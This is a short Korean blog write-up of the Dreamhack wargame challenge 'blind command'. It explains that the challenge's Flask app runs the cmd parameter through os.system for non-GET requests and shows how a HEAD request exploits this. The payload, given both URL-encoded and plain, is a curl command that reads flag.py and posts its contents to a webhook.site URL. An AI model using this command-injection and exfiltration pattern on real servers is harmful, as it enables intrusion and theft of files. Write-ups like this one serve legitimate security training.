[WARGAME] Dreamhack - blind command

2022. 7. 5. 00:01정보보안/CTFLOG

반응형

난이도는 2렙, 웹 해킹 분야의 blind command 라는 문제다.

우선 링크에 접속하면

 

 

?cmd=[cmd] 라는 문구만 주어진다.

이를 통해 파라미터를 통해 커맨드를 주입 시킬수 있다는 것을 유추 해볼 수 있다.

 

하지만 커맨드들이 서버에서 실행 되지 않고 그냥 출력된다.

이때, 소스코드를 확인하면

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

GET으로 받게 되면 바로 출력되고 GET형식이 아니라면 서버에서 실행된다.

따라서 버프슈트나 postman으로 Allows를 확인 해볼수 있다.

 

GET,HEAD,OPTIONS를 허용한다. 

따라서 HEAD를 사용하여 보내면 서버로 전송해서 커맨드를 삽입 할 수 있다.

 

curl%20-X%20POST%20-d%20%22$(cat%20flag.py%20|%20tr%20-d%20%27%20|\n%27)%22%20https://webhook.site/c569027a-f0f0-4c1e-a00b-13422e98876f
curl -X POST -d "$(cat flag.py | tr -d ' |\n')" https://webhook.site/c569027a-f0f0-4c1e-a00b-13422e98876f

 

curl에 대한 옵션값들은 https://nitw.tistory.com/131 이곳에서 확인 할 수 있다.

 

반응형